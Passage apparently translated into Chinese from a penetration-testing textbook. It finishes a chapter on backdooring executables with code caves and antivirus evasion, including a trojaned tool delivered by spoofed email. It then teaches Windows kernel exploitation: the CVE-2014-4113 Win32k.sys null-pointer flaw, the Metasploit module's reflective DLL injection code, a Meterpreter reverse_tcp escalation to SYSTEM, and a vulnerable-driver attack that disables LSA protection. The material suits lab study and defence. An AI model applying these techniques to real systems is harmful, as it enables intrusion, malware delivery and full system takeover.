当我更加仔细地选择我的洞穴,尝试分散执行时,我最终能够创建一个检测率仅为*10.6%*的文件。当我们对有效载荷感到满意时,我们通过选定的向量进行投递(在我们的场景中,通过伪造的电子邮件发送本地 URL)并等待受害者执行木马。在这里,我们看到被后门化的 DataRecovery 工具正常工作,但在后台,端口1066
已打开并等待我们的连接:
图 12.16 – 绑定端口的目标可执行文件正在运行
作为你学习的一部分,为了更好地理解幕后发生的事情,不要忘记在你喜欢的工具中转储木马的字节,并寻找你的 shellcode。查找你的 shellcode 字节(正如我们之前在xxd
中恢复的那样):
图 12.17 – grep 出我们之前收集的一些字节
当然,这只是一个额外的练习。其目的是深入了解注入是如何工作的。这确实是一个让人迷失的兔子洞,所以请享受探索你自己创作的过程。
尽管这结束了我们的实验练习,但请记住核心概念——在你找到适合目标环境的有效方法之前,可能需要进行大量的反复试验。
总结
在本章中,我们探讨了恶意脚本如何通过解释器进程与主机交互,从而创建一个独特的防御场景。我们看了一些简单的模板,用于 shellcode 注入和数据泄露,并考虑了不同的方法来修改它们,以迷惑扫描器。
在本实验之后,我们简要探讨了 Metasploit 的 Shellcode 生成理论,并理解了编码器的功能和作用。我们通过 Kali 中一个快速简便的反汇编工具探索了 Windows 可执行载荷,并使用 grep
命令查找字节序列,学习如何识别编码 Shellcode 中的模式。最后,我们探索了如何修补合法的可执行文件,使其通过我们自己的载荷变成有效的特洛伊木马。这个过程中包括了通过十六进制转储来回顾注入点。我们还探索了仍然有效的 BDF,识别代码洞并控制地使用它们来存放我们的 Shellcode。
在下一章中,我们将从内核的角度深入探讨更低层次的抽象。我们将了解一些经过验证的攻击方法,以深入理解内核漏洞的基础,并探讨使用 Metasploit 框架的实际方法。
问题
-
VirtualAlloc()
和VirtualAllocEx()
有什么区别? -
MiniDumpWriteDump()
只能用于攻击 LSASS。(对 | 错) -
代码洞是后门目标可执行文件中的一部分,由
0x90
空操作码组成,我们可以将我们的 Shellcode 存放在其中。(对 | 错) -
在使用 BDF 修补目标可执行文件时,我们何时需要
--xp_mode
?
第十三章:Windows 内核安全
内核是操作系统的“军官”。它是允许操作系统(OS)将应用程序与硬件连接的软件,将应用程序请求转化为 CPU 指令。实际上,很难将操作系统本身与其内核区分开;它是操作系统的核心。用户应用程序中的错误可能导致崩溃、不稳定、变慢等问题,但内核中的错误可能导致整个系统崩溃。一个更具破坏性的潜在威胁是以操作系统上最高权限执行任意代码。内核攻击是黑客的梦想。
操作系统中的一切都以某种形式与内核协作。作为操作系统的核心,内核需要与系统中权限较低的进程隔离;如果没有隔离,内核可能会受到破坏,而被破坏的内核将导致系统无法使用。这种隔离通过将内核在内存中的空间设置为用户侧进程无法访问来实现。尽管如此,完全的隔离会使计算机对于用户和应用程序变得无用——接口是必需的。这些接口为攻击者提供了进入 Windows 计算机最高权限级别的大门。
对 Windows NT 内核的深入讨论超出了本章的范围,但我们将介绍内核安全概念,并通过一个 Metasploit 漏洞利用模块来演示如何攻击 Windows 内核,以便更好地理解它的工作原理。我们将提供一个实践入门,教你如何利用内核漏洞在 Windows 目标上提升权限。
本章将涵盖以下内容:
-
内核概念和攻击的概述
-
使用指针概念来说明空指针缺陷
-
Metasploit 模块中的代码,用于利用 CVE-2014-4113 漏洞
-
在 Windows 7 目标机器上获取立足点后,演示如何利用该模块进行权限提升
技术要求
本章的技术要求如下:
-
Kali Linux
-
一台 Windows 7 目标 PC 或虚拟机
-
用于进一步调试学习的 WinDbg(完成练习不必要)
-
用于分析二进制文件和驱动程序的 IDA 反汇编器(完成本练习不必要)
内核基础——理解内核攻击是如何工作的
需要记住的一个重要哲学观点是,内核是一个计算机程序。它是一个构造体,对于我们这些普通的小白来说,可能会感到有些令人生畏,所以有助于记住它的真实面目。在普通编程中你学到的日常缺陷,都可能出现在内核代码中。内核占用内存,就像任何普通程序一样,因此存在将某些东西放到不该放的地方并执行的可能性。如果是这样,那内核到底有什么特别之处呢?内核通过连接计算机的硬件和操作系统的软件来管理所有低级功能。在现代 Windows 实例中,有许多不同的程序同时运行,它们都想使用同一个处理器。程序无法决定谁能获得多少时间,而处理器则愚蠢地完成操作——它也无法做出决定。是内核充当了警察的角色,管理所有与系统最低级结构的高层次交互。下次你对一台实际上并不具备多任务处理能力的计算机的多任务能力感到惊讶时,记得感谢内核为你提供了这一幻觉。
Windows 是一个使用双模式架构的操作系统示例——用户模式和内核模式(有时称为用户模式和监督模式)。因此,内存空间被分为两部分,用户模式无法访问内核空间。另一方面,内核模式具有最高的权限,可以访问系统和硬件的任何部分。内核最终是实际硬件与操作系统之间的中介。在 Windows 中,硬件的接口由硬件抽象层(HAL)提供,顾名思义,它创建了一个抽象层,旨在规范硬件差异。例如,内核模式驱动程序为请求访问硬件的应用程序提供接口;甚至像应用程序希望在屏幕上显示数据这样的事情,也必须与内核模式驱动程序合作。这些结构的美妙之处在于它们为应用程序提供了一个抽象层和一个单一的熟悉环境。Windows 开发人员不需要担心可能会显示其程序的不同显示器:
图 13.1 – Windows 如何与硬件交互
内核攻击向量
内核的安全性问题既深远(潜在影响巨大)也简单明了(因为内核是由人编写的软件,细节无需多说)。在检查内核概念时,我们考虑的一些攻击向量如下:
-
API
:如果内核不允许某些方式让应用程序访问其功能,那么计算机就没有意义,我们还不如回家去。通过 API,潜在的恶意代码可能在内核模式下执行,使攻击者的 shellcode 获得完全访问权限,从而实现完全的攻击。 -
从硬件向上划水:如果你检查 Windows 操作系统的设计,你会注意到,你可以从系统层次结构的硬件侧更直接地接触内核。恶意驱动程序的设计可以利用将硬件设备映射到虚拟内存空间的机制。
-
破坏引导过程:操作系统需要在启动时加载,这时是系统的一个脆弱时刻。如果引导流程可以被任意控制,可能在各种自我保护机制初始化之前,就能够攻击内核。
-
Rootkit
:Windows 中的内核模式 rootkit 通常表现为内核模式驱动程序。成功编写这种恶意软件是一项非常精细的平衡工作,因为内核代码的性质;再加上现代的保护措施,如驱动程序签名,使得这种攻击越来越难以实现。然而,这并非不可能,且无论如何,老旧操作系统在许多环境中仍然存在。渗透测试人员需要意识到那些安全行业喜欢描述为正在退出历史舞台的攻击方式。
内核作为时间警察的角色
现代操作系统需要执行各种“魔法”,而内核就是魔术师。一个例子是上下文切换,这是一种允许多个进程共享单个 CPU 的技术。上下文切换的实际工作是将正在运行的线程挂起并存储到内存中,调度另一个线程使用 CPU 资源运行,然后将第二个线程挂起并存储到内存中,再调回第一个线程。无法避免的是,这个过程需要时间,因此处理器的一部分延迟就来自上下文切换;操作系统的一个创新是在尽可能减少这一时间。
当然,我们很少有幸运的机会需要担心仅有两个小线程试图在同一处理器上运行——通常有几十个线程在等待,所以需要优先级管理。线程优先级是调度器的工作之一。调度器决定谁在什么时间片段内使用处理器。如果一个进程不愿意放弃它与处理器的时间呢?在合作式多任务操作系统中,进程需要完成资源的使用才会释放资源。另一方面,在抢占式多任务操作系统中,调度器可以中断任务,并稍后恢复它。你可以想象一下,一个操作系统如果无法与一个拒绝释放资源的线程进行上下文切换会带来怎样的安全隐患。幸运的是,现代操作系统通常是抢占式的。实际上,在 Windows 操作系统中,内核本身就是抢占式的——这意味着即使是内核模式下运行的任务也可以被中断。
即使是年幼的孩子也能理解存在的基本规则之一——事件并不总是同时发生,你通常需要等待某件事情发生。你必须上整整一周的学,才能迎来周末的乐趣。即使是在上下文切换和调度所用的极其微小的时间片尺度上,我们有时也需要等待某件事情发生才能继续前进。程序员和逆向工程师都会在代码中看到这些时间依赖的构造:
-
获取
VAR
变量的值;使用if**/**then
语句根据获取的值建立条件。 -
获取
VAR
变量的值;根据第 1 步中建立的条件在函数中使用该值。 -
获取
VAR
变量的值;根据第 1 步和第 2 步中建立的条件在函数中使用该值,依此类推。
想象一下,如果我们能创建一个条件,使得这些依赖关系按照预定顺序发生。例如,如果我能让第 2 步先发生呢?在这种情况下,代码期望某个条件已经建立。攻击者可能通过与已建立的顺序竞争来触发漏洞——这就是竞态条件。
它只是一个程序
从安全角度来看,理解内核最关键的一点是,它本质上是由代码组成的程序。内核中的缺陷与用户端代码中的缺陷的真正区别在于权限;任何在内核级别运行的代码都可以拥有整个系统,因为内核就是系统。
崩溃内核会导致无法恢复的情况(即需要重新启动),而崩溃用户应用程序只需重启应用程序——因此,探索内核攻击更加危险,容错空间也小得多。不过,它仍然只是一个计算机程序。我强调这一点,因为我们可以从程序员的角度理解本章中的内核攻击。内核是用汇编和 C 混合编写的(这种低级接口能力非常有用),因此在我们深入利用 Windows 目标之前,让我们先从 C 和汇编的角度看一下基本的编程概念。
指出问题——指针问题
编程语言使用不同的数据类型:数值类型,如整数,布尔类型用来表示真和假,集合和数组作为复合数据类型,等等。指针是另一种数据类型——引用。引用是指间接指向数据的值。例如,假设我有一本书,每一页上都有美国各州的地图。如果有人问我住在哪里,我可以说第 35 页——这是对该页面上数据(州地图)的间接引用。作为一种数据类型,引用本身是简单的,但引用所指向的数据本身也可以是一个引用。想象一下,这个小小的对象可能带来的复杂性。
在 C 语言和汇编中的解除引用指针
作为引用数据类型的指针被认为是低级的,因为它们的值用作内存地址。指针指向一个数据项,因此该数据项的实际内存地址就是指针的值。使用指针访问在定义的内存地址上的数据项的操作叫做解除引用。让我们看一个示例 C 程序,它操作指针和解除引用,然后快速查看编译后的程序的汇编代码:
#include <stdio.h>
int main(int argc, char **argv)
{
int x = 10;
int *point = &x;
int deref = *point;
printf("\nVariable x is currently %d. *point is %d.\n\n", x, deref);
*point = 20;
int dereftwo = *point;
printf("After assigning 20 to the address referenced by point, *point is now %d.\n\n", dereftwo);
printf("x is now %d.\n\n", x);
}
编译后的程序生成了以下输出:
图 13.2 – 我们指针程序的输出
我们接下来的汇编示例是 64 位的(例如,RBP),但概念是一样的。然而,尽管我们在使用 Linux,但我们依然采用 Intel 语法,而 Linux 使用的是 AT&T 语法——这是为了与前一章的汇编介绍保持一致。请记住,在 AT&T 语法中,源操作数和目标操作数是反过来的!
看一下在组装程序中的关键点发生了什么。声明x
整数会在内存中为它分配一个位置。int x = 10;
在汇编语言中是这样写的:
mov DWORD PTR [rbp-20], 10
因此,10
的值被移动到基址指针 -20
处的 4 字节位置。这很简单。(请注意,这里定义了我们变量的实际内存大小 —— DWORD
。一个双字(double word)是 32 位或 4 字节长。)但是现在,看看当我们到达 int *point = &x;
时会发生什么,在这里我们声明了整数指针 *point
,并将它赋值为 x
的实际内存位置:
lea rax, [rbp-20]
mov QWORD PTR [rbp-8], rax
lea
指令表示 加载有效地址。这里,RAX
寄存器是目标,所以实际上这里的意思是将 -20
基址指针的地址放入 RAX
寄存器。接下来,RAX
中的值被移动到 -8
基址指针处的四字(quadword)内存中。到目前为止,我们已经在 -20
基址指针处为 4 字节的内存腾出了空间,并将 10
整数放入其中。然后,我们取出了该整数在内存中的 64 位地址,并将该地址存储到 -8
基址指针处的内存中。简而言之,x
整数现在位于 RBP - 20
,而 RBP - 20
的地址现在作为指针存储在 RBP - 8
中。
当我们通过 int deref = *point;
解引用指针时,汇编中会看到如下内容:
mov rax, QWORD PTR [rbp-8]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-12], eax
为了理解这些指令,我们先快速回顾一下寄存器。记住,EAX
是 IA-32 架构中的 32 位寄存器,它是 16 位 AX
的扩展。在 x64 架构中,RAX
是 64 位寄存器,但记住它是向后兼容的,遵循相同的原则 —— RAX
是 EAX
的扩展:
图 13.3 – 64 位寄存器
方括号 [ ]
用于区分内存位置或寄存器的内容。所以,首先,我们将 RBP - 8
指向的四字(quadword)值放入 RAX
寄存器中,然后我们将 RAX
所指向的 DWORD
值加载到 EAX
寄存器,最后,将 EAX
中的 DWORD
值存储到位于 -12
基址指针的内存中。
记住,RBP - 8
存储的是我们整数 x
的地址。所以,正如你在汇编代码中看到的那样,我们通过指向一个指针,成功地将那个整数存储到内存的另一个位置。
理解 NULL 指针解引用
现在我们已经回顾了指针基础知识,我们可以定义 NULL 指针解引用——当程序使用指针访问它所指向的内存位置(解引用),但指针的值为 NULL 时,就会发生这种情况。如果你回忆一下我们在介绍 shellcoding 时的内容,我们的程序试图访问0x7a7a7a7a
,这是我们在用 ASCII 字母z
覆盖返回地址时发生的,所以在 NULL 指针的情况下,试图访问的是内存中一个无效的位置。区别在于,我们并没有用任意字节覆盖指针值;它是 NULL——一个根本不存在的地址。结果总是某种故障,但最终的行为可能是不可预测的。既然如此,为什么我们会关注 NULL 指针解引用呢?
我知道你心中的黑客正想说,显然利用 NULL 指针解引用漏洞会导致拒绝服务攻击(DoS)。也许吧,小草蜢,但事情比这更复杂。首先,从0x00000000
开始的内存地址可能是映射的,也可能不是——也就是说,如果 NULL 指针的值真的为零,可能会进入一个合法的内存位置。如果它不是一个有效的内存位置,我们就会遇到崩溃;但如果是有效的,而且那里有一些诱人的 shellcode,那么我们就能实现代码执行。另一个需要考虑的情况是指针在解引用之前没有被正确验证。在这种情况下,实际的值可能不是 NULL,但攻击本质上是一样的。为了进行分析,我们将选择一个 2014 年广为人知的 Windows 漏洞——CVE-2014-4113。
提到已知漏洞最常见的方式可能是通过其通用漏洞与暴露(CVE)标识。CVE 是由美国联邦政府赞助的一个基于软件的威胁目录。漏洞被定义为可能使攻击者直接访问系统或数据的缺陷,而暴露则是允许间接访问系统或数据的缺陷。CVE 的命名规范为CVE-<年份>-<编号>。
Win32k 内核模式驱动程序
CVE-2014-4113 也被称为微软安全公告中的 MS14-058。它是内核模式驱动程序Win32k.sys
中的一个特权提升(EoP)漏洞。我不知道Win32k.sys
这个名字是否已经表明了这一点,但这个特定驱动程序中的错误对于 Windows 系统来说是个非常糟糕的消息。
Win32k.sys
驱动程序是 Windows 子系统某些核心部分的内核端。它的主要功能是 Windows 的图形用户界面(GUI);负责窗口管理。任何需要显示内容的程序都不会直接与图形硬件交互。相反,它通过 图形设备接口(GDI)进行接口,而 Win32k.sys
负责管理该接口。用户模式的窗口管理通过 Client/Server Runtime Subsystem
(CSRSS)用户端服务中的 User32 DLL 与 Win32k.sys
进行通信。驱动程序通过入口点提供对其功能的访问,Win32k.sys
大约有 600 个这样的入口点。这个高度复杂的交互和核心功能使得像 Win32k.sys
这样的组件在安全性方面成为一场噩梦。
这是一个极其简化的图示,展示了 Win32k.sys
在 Windows 内核中的位置及其与用户空间的关系:
图 13.4 – Win32k.sys 与内核的交互
请注意,这个图示在物理上也与内存相关,因为用户空间位于内存的下半部分(图示的顶部),而内核空间占据上半部分。0x00000000
到 0x7FFFFFFF
是用户空间,应用程序的虚拟内存空间占据其中的某些区域;剩余部分 0x80000000
到 0xFFFFFFFF
是强大的内核空间。Windows 的设计并不傻——你不能随意在内核空间执行某些操作:
图 13.5 – 利用 Win32k.sys
我们希望实现的目标是通过在内核模式下运行的代码来执行我们在用户空间中的有效载荷。我们不需要进入内核的“后院”就能让某些操作在内核的高权限下执行。
传递一个错误代码作为 xxxSendMessage() 的指针
Win32k.sys
中有很多复杂内容,我们没有时间深入探讨,因此让我们集中注意力于下一节中,我们将使用模块攻击的脆弱结构。记住,Win32k.sys
主要负责窗口管理,包括处理来自应用程序的请求,将内容输出到显示器。Win32k.sys
中有一个名为xxxMNFindWindowFromPoint()
的函数,用于识别占据屏幕特定位置的窗口(给定的X和Y坐标点)。该函数会返回一个 C++结构体tagWND
的内存地址(WND
表示窗口;这属于窗口管理的一部分),但如果发生错误,函数会返回错误代码——-1
和-5
。在一个经典的编程疏忽中,调用此函数的代码会检查是否返回了-1
,但并没有检查-5
。只要在执行以下简单比较时——cmp ebx,0FFFFFFFFh
——零标志没有被设置,程序就会高兴地继续运行,认为从被调用的函数中返回了有效的内存指针。无效指针漏洞就此产生。
让我们来看一下通过 IDA 分析Win32k.sys
的执行流程。在我的 IDA 会话中,我将驱动程序中的sub_BF8B959D
识别为xxxSendMessage()
函数(sub
代表子程序)。关键时刻可以在loc_BF9392D8
看到(loc
表示内存位置):
cmp ebx, 0FFFFFFFFh
jnz short loc_BF9392EB
EBX
寄存器中的值将与-1
进行比较(请注意,十六进制值是有符号整数,因此0xFFFFFFFF
等于**-1**)。如果零标志没有被设置,jnz
将跳转;记住,这只是汇编语言的说法:如果两个比较值不相等,就跳转到指定的位置。
让我们快速回顾一下汇编中的条件跳转。零跳转或非零跳转的原理是基于比较结果。假设你有x
和y
这两个变量。这是一个简单的逻辑语句,x - x = 0
。因此,如果x - y = 0
,那么我们就知道x = y
。jnz
和jz
会检查标志寄存器中的零标志位,以检查比较结果。
所以,如果EBX
中的值不是-1
,那么我们跳转到loc_BF9392EB
:
push 0
push [ebp+arg_8]
push 1Edh
push ebx
call sub_BF8B959D
让我们在 IDA 中看一下这个情况。
图 13.6 – IDA 中的一个关键测试
回想一下在我的特定 IDA 会话中,sub_BF8B959D
是xxxSendMessage
函数。最简单的说法是,如果EBX
包含除了-1
之外的任何值,xxxSendMessage
将被调用。-5
的值在调用之前不会与EBX
进行比较。通过在此时返回-5
,我们可以将其作为参数传递给xxxSendMessage
函数。-5
以十六进制表示的值是0xFFFFFFFB
。在这个特定参数中,xxxSendMessage
期望的是一个指针。如果攻击成功,执行将尝试跳转到内存位置0xFFFFFFFB
。攻击的一部分任务是将我们定位到 NULL 页面,并带有一个偏移量。在此之前,攻击已经在 NULL 页面上映射了一些空间,因此最终,执行跳转到用户空间中等待的 shellcode。(像往常一样,Windows 出于向后兼容的原因,允许 NULL 页面映射。)现在,我知道你内心的黑客在说:看起来禁用 NULL 页面映射就能立刻阻止这个攻击。你说得对,做得好,微软也考虑到了这一点——从 Windows 8 开始,默认禁用 NULL 页面映射。
这里没有足够的篇幅深入分析这个特定漏洞,但我希望我已为你提供了足够的背景信息来尝试这个实验——在你的 Windows 7 虚拟机上操作,获取驱动程序(它位于System32
文件夹中),在 IDA 中打开它,跟踪执行流程。看看你是否能理解这里其他函数的运行情况。试着持续记录寄存器及其值,并利用push
和pop
操作实时了解堆栈的变化。IDA 是进行这种分析的完美工具。我有预感,你会被深深吸引。
Metasploit – 探索 Windows 内核漏洞模块
现在我们有了一些背景知识,接下来我们将通过 Metasploit 观察攻击的实际操作。与此漏洞相关的利用模块名为exploit/windows/local/ms14_058_track_popup_menu
(回忆一下,MS14-058 是微软针对该漏洞发布的安全公告编号)。请注意,这个漏洞的利用属于本地子类别。该漏洞的性质要求我们能够以特权用户身份执行程序——这是一个本地攻击,而非远程攻击。有时,你会看到安全出版物用类似攻击者必须位于本地机器旁边这一事实限制了风险的措辞来讨论本地漏洞。此时,你应该会心一笑,因为你知道区分本地与远程攻击的语境,实际上是去除了坐在键盘前的人为因素。如果我们能说服用户采取某些行动,那么我们就可以像本地攻击一样操作。这些本地攻击只需一点小巧思就能变成远程控制。
在进入有趣的部分之前,让我们详细检查一下 Metasploit 模块,以便理解它是如何工作的。像往常一样,我们需要查看 include
语句,以便回顾导入到该模块中的功能:
require 'msf/core/post/windows/reflective_dll_injection'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
所以,这里加载了几个 Windows 后期攻击模块:File
、Priv
、Process
、FileInfo
和 ReflectiveDLLInjection
。我不会在这里给你列出所有五个模块的代码,但你应该始终认为,适当审查导入的模块是一个必要步骤。请记住,include
语句将这些模块作为 mixins 导入,使得它们的参数可以直接在父模块中引用。
回到父模块 – 我们将跳过前两个定义的方法,initialize(info={})
和 check
。你应该记得,info
初始化为用户提供有用的信息,但这对模块的功能来说并不是必需的。它的主要作用是使得关键字可以在 msfconsole
中用于搜索功能。check
方法也不是严格必须的,但它使得该模块可以与 Metasploit 的兼容性检查功能一起使用。当选择一个目标时,你可以加载一个漏洞利用模块,并检查目标是否可能存在漏洞。就我个人而言,我觉得检查功能非常巧妙且可能节省时间,但通常来说,我不建议完全依赖它。
现在,终于到了 – exploit
方法。请注意,该方法首先进行了一些错误检查,我们跳过了这些部分;它确保我们还不是 SYSTEM
(以防你在冲过终点线后仍在全速前进!),并且检查会话主机架构与选项定义的架构是否匹配:
def exploit
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
该方法从尝试启动记事本开始。请注意,{'Hidden' => true}
参数被传递给 execute
。这确保了记事本会执行,但友好的编辑器窗口不会实际出现在用户面前(这肯定会让用户察觉到有什么不对劲)。然后,我们处理记事本启动成功的情况,并获取进程 ID,进入下一阶段的攻击;如果启动记事本失败,rescue
会派上用场,处理启动失败的情况,改为获取当前打开的进程用于下一阶段。
DLL 是 Windows 中共享库模型的实现。它们是可以被多个程序共享的可执行代码。就实际用途而言,它们应当被视为可执行文件。与 EXE 文件的主要区别在于,DLL 需要一个由运行中的程序提供的入口点。从安全角度来看,DLL 是非常危险的,因为它们被加载到调用进程的内存空间中,这意味着它们拥有与运行进程相同的权限。如果我们能够将恶意 DLL 注入到一个特权进程中,这几乎就意味着游戏结束。
接下来是我们的大高潮——反射 DLL 注入。DLL 旨在加载到进程的内存空间中,因此 DLL 注入实际上就是强制用我们选择的 DLL 来加载它。然而,由于 DLL 本身就是一个独立的文件,DLL 注入通常涉及从磁盘上提取 DLL 的代码。反射 DLL 注入让我们可以直接从内存中提取源代码。让我们来看看我们的模块在 Win32k.sys
漏洞利用的背景下如何进行反射 DLL 注入:
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else
dll_file_name = 'cve-2014-4113.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
让我们一步步地审查这部分,并跳过状态输出:
-
首先是
if...else** **target.arch.first == ARCH_X86
语句。这不言自明——模块从 MetasploitData\Exploits
文件夹中提取利用 DLL,这个检查使得架构能够正确地定位目标。 -
library_path
允许模块从攻击者的本地磁盘找到并加载利用 DLL。我希望你的创造性思维已经启动,你应该意识到,你可以修改这个模块,将它指向任何你喜欢的 DLL。 -
exploit_mem, offset = inject_dll_into_process()
是第一次给目标的耳光。注意,inject_dll_into_process()
在包含的ReflectiveDLLInjection
模块中定义。这个方法接受目标进程和 DLL 的本地路径作为参数,然后返回一个包含两个值的数组——分配的内存地址和偏移量。我们的模块将这些返回值分别存储为exploit_mem
和offset
。 -
payload_mem = inject_into_process()
是第二次给目标的耳光。payload.encoded
是我们的 shellcode(根据需要编码)。此方法仅返回一个值——目标进程内存中 shellcode 的位置。所以,如你所见,在我们的攻击的这一阶段,payload_mem
现在是目标内存中 shellcode 开始的位置。 -
如果前两种 DLL 注入方法是给目标的耳光,那么
process.thread.create(exploit_mem + offset, payload_mem)
就是我们致命的一击。我们向process.thread.create()
传递了两个参数:首先是exploit_mem
(加上偏移量),然后是我们在内存中 shellcode 的位置payload_mem
。
那么,为什么我们要将 DLL 注入到一个进程中呢?易受攻击的内核模式驱动程序 Win32k.sys
有超过 600 个入口点,允许访问其功能;它处理了许多有用的任务。正如本章之前所讨论的,Win32k.sys
负责窗口管理。Win32k.sys
代表了该操作系统设计中一个必要的邪恶——它所需的强大功能与对用户模式程序的可访问性相结合。
使用 Kali 进行实际的内核攻击
我们有足够的背景知识来与 Kali 坐下来,向一个易受攻击的 Windows 目标发动攻击。此时,你应该启动你的 Windows 7 虚拟机。然而,在这个演示中我们进行了两个阶段,因为这次攻击是本地的。到目前为止,我们一直在研究让我们进入的攻击。这一次,我们已经进入了。对于外行来说,这听起来就像游戏已经赢了,但不要忘记现代操作系统是分层的。曾经有一个黄金时代,远程漏洞会让你在目标 Windows 框上获得完整的SYSTEM
权限。如今,这种远程漏洞是一件罕见的事情。对于今天的渗透测试人员来说,更有可能的情况是你会执行一些代码,一个 shell 弹出,你感觉自己无所不能 - 直到你意识到你只有计算机上卑微用户的权限,需要管理员的许可才能安装软件。你有了你的立足点 - 现在,你需要提升你的权限以便能够完成一些工作。
特权升级简介
本章描述的内核攻击是特权升级的一个例子 - 在用户端分配内存并向其中注入代码后,我们攻击内核端的漏洞。因此,你是否注意到我们刚刚审查的模块与我们在之前章节中检查的远程攻击之间的巨大差异?没错 - 没有选项来指定目标 IP 地址。这是一次本地攻击;你唯一需要定义的 IP 地址是你的反向 TCP 连接返回给处理程序的地址。
要完成这个演示,你首先需要建立立足点!由于我们要求你进行一些自学以便跟上,我们将继续使用我们老式的 Windows 7 目标。
新操作系统,旧问题 - 易受攻击的 OEM 驱动程序
一旦你对旧版 Windows 7 的理论和实践感到满意,就开始使用 Metasploit 探索现代内核漏洞。查看名为dell_memory_protect
的令人惊叹的后置模块。戴尔笔记本电脑上提供的一个名为DBUtilDrv2.sys
的驱动程序在 2.5 和 2.7 版本中存在关键的内核级写-何处漏洞。Metasploit 允许我们对任何 Windows 框执行自带易受攻击驱动程序攻击,无论是戴尔还是其他品牌。这个驱动程序很容易在网上找到,所以抓住它,使用模块安装它并禁用 LSA 保护,享受你的SYSTEM
访问。那些在 IDA 中拆解驱动程序的人将获得额外的赞誉!
使用 Metasploit 在 Windows 7 上升级到 SYSTEM
此时,你刚刚从目标那里收到了 Meterpreter 连接 - 你的立足点有效载荷起了作用。我们使用getuid
命令来查看我们的身份。嗯 - 用户名FrontDesk
回来了。这个用户是否是管理员并不关心我们;重要的是它不是SYSTEM
,这是可能的最高权限。即使管理员也无法逃脱某些事情 - 该帐户仍被视为用户模式。
我输入background
将我的 Meterpreter 会话发送到后台,以便我可以在msf
提示符下工作。尽管 multi/handler 漏洞仍在使用中,但我可以简单地替换它。这次,我们准备好用use exploit/windows/local/ms14_058_track_popup_menu
进行内核攻击:
图 13.7 – 在 Metasploit 中管理我们的立足点
在我们的截图示例中,我们没有显示可用的选项;所以,试试show options
。当你建立漏洞并运行此命令时,你会看到sessions
选项。这是针对你已经建立的 Meterpreter 会话的。在实际操作中,你可能在几十台机器上都有立足点;使用这个选项将攻击指向特定的会话。在msf
提示符下,使用sessions -l
来识别你需要的会话。sessions -i <id>
将带你回到某个会话中,这样你可以执行getuid
来验证你的权限:
图 13.8 – 在我们建立的会话中发起攻击
设置这个可能有点混乱,因为你刚刚配置了带有负载的 handler。你需要设置内核漏洞所使用的负载。在我的示例中,我执行set payload windows/meterpreter/reverse_tcp
来创建一个反向连接的 Meterpreter shellcode 负载。
当你准备好时,执行run
并祈祷好运。这是一个有趣的攻击;从其性质来看,权限提升可能会失败而不终止你的会话。你会看到屏幕上显示的所有内容都表明攻击成功,且有一个新的 Meterpreter 会话,表明 shellcode 确实已执行——然而,getuid
将显示与之前相同的用户。这就是模块作者在状态消息中加入“祈祷成功”的原因,hopefully privileged
:
图 13.9 – 漏洞完成 – 我们现在是 SYSTEM
在我们的演示中,我们的 Windows 7 Ultimate 主机确实存在漏洞。我们现在以SYSTEM
身份运行。游戏结束。
总结
在本章中,我们探讨了 Windows 内核攻击。首先,我们回顾了内核工作原理及攻击者试图利用的内容。在这个理论讨论中,我们回顾了内核的低级管理角色以及这些任务的安全影响,包括调度中断。我们选择了一种漏洞类型,即 NULL 或无效指针解引用漏洞,并对其进行了详细研究,以了解以这种方式利用内核如何使攻击者完全控制系统。我们从 C 代码中指针的回顾开始,然后检查编译后的汇编指令,以了解处理器如何处理指针概念。这个回顾使我们能够理解 NULL 指针是什么,以及它们如何在软件中引起问题。然后,我们介绍了一个特定的内核模式驱动程序 Win32k.sys
,并对其指针缺陷进行了低级别的审查。我们通过审查 Metasploit 攻击模块来结束这个讨论,该模块旨在攻击这个特定的内核模式驱动程序。最后,我们通过利用这种攻击对易受攻击的内核模式驱动程序进行特权升级的实际演示来结束本章。
在下一章中,我们将通过对模糊测试的回顾来结束编程基础知识。在本书中,您已经尝试过模糊测试,甚至可能没有意识到。我们将回顾基本原理并进行模糊测试实践。
问题
回答以下问题以测试你对本章的知识掌握情况:
-
______ 位于 NT 内核和硬件之间。
-
______ 内核可以中断内核模式线程;协作操作系统必须等待线程完成。
-
在 C 中,变量前的和符号引用 __________。
-
三个四字节能容纳多少个双字节?
-
AX
是 64 位RAX
的低 ________。 -
无法解引用无效指针 - 真或假?
-
我的十六进制转十进制计算器显示
ffffffff
等于 4,294,967,295。为什么xxxSendMessage()
函数认为它是-1
? -
DLL 注入和反射性 DLL 注入有什么区别?
进一步阅读
有关本章涵盖的主题的更多信息,请查看以下资源:
-
HackSys Extreme Vulnerable Driver 的源代码 (
github.com/hacksysteam/HackSysExtremeVulnerableDriver
) -
Windows SDK 下载以安装调试器 (
developer.microsoft.com/en-us/windows/downloads/windows-10-sdk
)
第十四章: 模糊测试技术
